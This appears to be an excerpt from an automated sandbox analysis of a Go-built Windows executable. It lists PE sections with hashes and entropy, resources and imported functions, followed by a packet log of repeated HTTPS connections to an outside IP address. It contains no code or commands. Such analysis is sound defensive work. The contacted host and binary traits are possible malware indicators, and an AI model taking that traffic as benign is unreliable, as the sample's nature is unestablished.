.text	0x1000	0x26f6e0	0x26f800	9d483a3d8a05ab1dd77be319f76f8ae2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x271000	0x48e30	0x49000	99f1381d6558ee7910f1812c7986ff59	False	0.3777825342465753	dBase III DBT, version number 0, next free block index 10, 1st item "o-querystring\011v1.1.0\011h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8="	4.911390470539749	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2ba000	0x2dcbb0	0x2dcc00	d7434292d36b8b47767f6045a8721563	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x597000	0xe1cc	0xe200	eddbea6cc8768319ac6946e8b14f8942	False	0.41425262721238937	data	5.603561326537566	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x5a6000	0xc44	0xe00	12dbe62a27b9006ef1d649c4473d821f	False	0.25613839285714285	data	3.9790580043138077	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x5a7000	0x63b20	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x60b000	0x4e	0x200	c612123bb59556abe8bb2708287e5706	False	0.08984375	data	0.6513844786319263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.idata	0x60c000	0x13d0	0x1400	bdd7aa1316f7d6ac29f330a4fcaf9931	False	0.3173828125	data	4.535504719980456	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x60e000	0x70	0x200	2705b663f0db0014e19996f2038cf424	False	0.080078125	data	0.4511542940585521	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x60f000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x610000	0x1434f	0x14400	fa2b5872382872fc62f404f652d5f582	False	0.5421248070987654	data	6.474478402713644	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x625000	0xc188	0xc200	7329bf74903c38f7f2be2747fedb4d98	False	0.2627456507731959	data	5.425785927136699	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x610370	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640			0.29838709677419356
RT_ICON	0x610658	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192			0.40878378378378377
RT_ICON	0x610780	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688			0.4994669509594883
RT_ICON	0x611628	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152			0.5812274368231047
RT_ICON	0x611ed0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320			0.6315028901734104
RT_ICON	0x612438	0x700f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9876250566458674
RT_ICON	0x619448	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896			0.2350614076523382
RT_ICON	0x61d670	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.2735477178423237
RT_ICON	0x61fc18	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6720			0.2964497041420118
RT_ICON	0x621680	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.349671669793621
RT_ICON	0x622728	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.3975409836065574
RT_ICON	0x6230b0	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680			0.45232558139534884
RT_ICON	0x623768	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.5026595744680851
RT_GROUP_ICON	0x623bd0	0xbc	data			0.6542553191489362
RT_VERSION	0x623c8c	0x418	data	English	United States	0.4217557251908397
RT_MANIFEST	0x6240a4	0x2ab	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5534407027818448

Imports

DLL

Import

KERNEL32.dll

AddAtomA, AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateFileA, CreateIoCompletionPort, CreateMutexA, CreateSemaphoreA, CreateThread, CreateWaitableTimerExW, DeleteAtom, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, ExitProcess, FindAtomA, FormatMessageA, FreeEnvironmentStringsW, GetAtomNameA, GetConsoleMode, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetEnvironmentStringsW, GetErrorMode, GetHandleInformation, GetLastError, GetProcAddress, GetProcessAffinityMask, GetQueuedCompletionStatusEx, GetStartupInfoA, GetStdHandle, GetSystemDirectoryA, GetSystemInfo, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryExW, LoadLibraryW, LocalFree, MultiByteToWideChar, OpenProcess, OutputDebugStringA, PostQueuedCompletionStatus, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, RaiseFailFastException, ReleaseMutex, ReleaseSemaphore, RemoveVectoredExceptionHandler, ResetEvent, ResumeThread, SetConsoleCtrlHandler, SetErrorMode, SetEvent, SetLastError, SetProcessAffinityMask, SetProcessPriorityBoost, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, SetWaitableTimer, Sleep, SuspendThread, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WerGetFlags, WerSetFlags, WideCharToMultiByte, WriteConsoleW, WriteFile, __C_specific_handler

msvcrt.dll

___lc_codepage_func, ___mb_cur_max_func, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _beginthread, _beginthreadex, _cexit, _commode, _endthreadex, _errno, _fmode, _initterm, _lock, _memccpy, _onexit, _setjmp, _strdup, _ultoa, _unlock, abort, calloc, exit, fprintf, fputc, free, fwrite, localeconv, longjmp, malloc, memcpy, memmove, memset, printf, realloc, signal, strerror, strlen, strncmp, vfprintf, wcslen

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 3, 2024 02:57:21.877274990 CEST	49735	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:21.877312899 CEST	443	49735	172.67.189.159	192.168.2.4
May 3, 2024 02:57:21.877391100 CEST	49735	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:21.880985975 CEST	49735	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:21.881009102 CEST	443	49735	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.071230888 CEST	443	49735	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.071346045 CEST	49735	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.075339079 CEST	49735	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.075345993 CEST	443	49735	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.075599909 CEST	443	49735	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.126271963 CEST	49735	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.127433062 CEST	49735	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.127455950 CEST	49735	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.127533913 CEST	443	49735	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.569403887 CEST	443	49735	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.569495916 CEST	443	49735	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.569545031 CEST	49735	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.571852922 CEST	49735	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.571866035 CEST	443	49735	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.607728958 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.607769966 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.608032942 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.608967066 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.608979940 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.795805931 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.796047926 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.797204971 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.797210932 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.797449112 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:22.799030066 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.799030066 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:22.799091101 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315213919 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315265894 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315299034 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315368891 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.315381050 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315473080 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315516949 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315604925 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315655947 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315668106 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.315668106 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.315675020 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315797091 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315843105 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315867901 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315886974 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.315891981 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.315901995 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.315916061 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.316235065 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.316298008 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.316385984 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.316399097 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.316411972 CEST	49736	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.316417933 CEST	443	49736	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.428631067 CEST	49737	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.428672075 CEST	443	49737	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.428771973 CEST	49737	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.429095984 CEST	49737	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.429115057 CEST	443	49737	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.613949060 CEST	443	49737	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.614047050 CEST	49737	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.622345924 CEST	49737	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.622364044 CEST	443	49737	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.622620106 CEST	443	49737	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.624630928 CEST	49737	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.624823093 CEST	49737	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.626286030 CEST	443	49737	172.67.189.159	192.168.2.4
May 3, 2024 02:57:23.626370907 CEST	49737	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:23.626379013 CEST	443	49737	172.67.189.159	192.168.2.4
May 3, 2024 02:57:24.123948097 CEST	443	49737	172.67.189.159	192.168.2.4
May 3, 2024 02:57:24.124038935 CEST	443	49737	172.67.189.159	192.168.2.4
May 3, 2024 02:57:24.124135017 CEST	49737	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:25.279721975 CEST	49737	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:25.279762030 CEST	443	49737	172.67.189.159	192.168.2.4
May 3, 2024 02:57:25.484136105 CEST	49738	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:25.484180927 CEST	443	49738	172.67.189.159	192.168.2.4
May 3, 2024 02:57:25.484256983 CEST	49738	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:25.484755039 CEST	49738	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:25.484766960 CEST	443	49738	172.67.189.159	192.168.2.4
May 3, 2024 02:57:25.671061039 CEST	443	49738	172.67.189.159	192.168.2.4
May 3, 2024 02:57:25.671154976 CEST	49738	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:25.672346115 CEST	49738	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:25.672353983 CEST	443	49738	172.67.189.159	192.168.2.4
May 3, 2024 02:57:25.672589064 CEST	443	49738	172.67.189.159	192.168.2.4
May 3, 2024 02:57:25.673898935 CEST	49738	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:25.674031019 CEST	49738	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:25.674055099 CEST	443	49738	172.67.189.159	192.168.2.4
May 3, 2024 02:57:26.164278030 CEST	443	49738	172.67.189.159	192.168.2.4
May 3, 2024 02:57:26.164407015 CEST	443	49738	172.67.189.159	192.168.2.4
May 3, 2024 02:57:26.164463043 CEST	49738	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:26.177896976 CEST	49738	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:26.177920103 CEST	443	49738	172.67.189.159	192.168.2.4
May 3, 2024 02:57:26.440707922 CEST	49739	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:26.440757036 CEST	443	49739	172.67.189.159	192.168.2.4
May 3, 2024 02:57:26.440869093 CEST	49739	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:26.441169977 CEST	49739	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:26.441183090 CEST	443	49739	172.67.189.159	192.168.2.4
May 3, 2024 02:57:26.627887011 CEST	443	49739	172.67.189.159	192.168.2.4
May 3, 2024 02:57:26.627952099 CEST	49739	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:26.629935980 CEST	49739	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:26.629945040 CEST	443	49739	172.67.189.159	192.168.2.4
May 3, 2024 02:57:26.630201101 CEST	443	49739	172.67.189.159	192.168.2.4
May 3, 2024 02:57:26.631414890 CEST	49739	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:26.631571054 CEST	49739	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:26.631599903 CEST	443	49739	172.67.189.159	192.168.2.4
May 3, 2024 02:57:26.631659985 CEST	49739	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:26.631669044 CEST	443	49739	172.67.189.159	192.168.2.4
May 3, 2024 02:57:27.129126072 CEST	443	49739	172.67.189.159	192.168.2.4
May 3, 2024 02:57:27.129244089 CEST	443	49739	172.67.189.159	192.168.2.4
May 3, 2024 02:57:27.129436970 CEST	49739	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:27.129465103 CEST	49739	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:27.376120090 CEST	49740	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:27.376148939 CEST	443	49740	172.67.189.159	192.168.2.4
May 3, 2024 02:57:27.376238108 CEST	49740	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:27.377732038 CEST	49740	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:27.377743959 CEST	443	49740	172.67.189.159	192.168.2.4
May 3, 2024 02:57:27.564522982 CEST	443	49740	172.67.189.159	192.168.2.4
May 3, 2024 02:57:27.564600945 CEST	49740	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:27.566827059 CEST	49740	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:27.566832066 CEST	443	49740	172.67.189.159	192.168.2.4
May 3, 2024 02:57:27.567063093 CEST	443	49740	172.67.189.159	192.168.2.4
May 3, 2024 02:57:27.568464041 CEST	49740	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:27.568464041 CEST	49740	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:27.568500996 CEST	443	49740	172.67.189.159	192.168.2.4
May 3, 2024 02:57:28.041436911 CEST	443	49740	172.67.189.159	192.168.2.4
May 3, 2024 02:57:28.041551113 CEST	443	49740	172.67.189.159	192.168.2.4
May 3, 2024 02:57:28.041599035 CEST	49740	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:28.041695118 CEST	49740	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:28.041708946 CEST	443	49740	172.67.189.159	192.168.2.4
May 3, 2024 02:57:28.111799955 CEST	49741	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:28.111829042 CEST	443	49741	172.67.189.159	192.168.2.4
May 3, 2024 02:57:28.111891985 CEST	49741	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:28.112188101 CEST	49741	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:28.112200022 CEST	443	49741	172.67.189.159	192.168.2.4
May 3, 2024 02:57:28.301604986 CEST	443	49741	172.67.189.159	192.168.2.4
May 3, 2024 02:57:28.301713943 CEST	49741	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:28.303026915 CEST	49741	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:28.303033113 CEST	443	49741	172.67.189.159	192.168.2.4
May 3, 2024 02:57:28.303272009 CEST	443	49741	172.67.189.159	192.168.2.4
May 3, 2024 02:57:28.304481030 CEST	49741	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:28.304563999 CEST	49741	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:28.304568052 CEST	443	49741	172.67.189.159	192.168.2.4
May 3, 2024 02:57:28.783581972 CEST	443	49741	172.67.189.159	192.168.2.4
May 3, 2024 02:57:28.783710003 CEST	443	49741	172.67.189.159	192.168.2.4
May 3, 2024 02:57:28.783763885 CEST	49741	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:29.920746088 CEST	49741	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:29.920775890 CEST	443	49741	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.481740952 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.481785059 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.481848955 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.482162952 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.482182026 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.668756008 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.668982983 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.701287985 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.701311111 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.701571941 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.702634096 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.703377962 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.703413963 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.703520060 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.703557968 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.703660011 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.703685045 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.703807116 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.703841925 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.703984022 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.704014063 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.704149008 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.704184055 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.752113104 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.752285004 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.752324104 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.800122976 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.800420046 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.800466061 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.800482035 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.848112106 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.848289013 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.848321915 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.879447937 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.879530907 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.879539967 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.879594088 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.879610062 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:32.879642010 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.969490051 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:32.970232010 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:34.331124067 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:34.331254005 CEST	443	49742	172.67.189.159	192.168.2.4
May 3, 2024 02:57:34.331304073 CEST	49742	443	192.168.2.4	172.67.189.159
May 3, 2024 02:57:34.331455946 CEST	49742	443	192.168.2.4	172.67.189.159
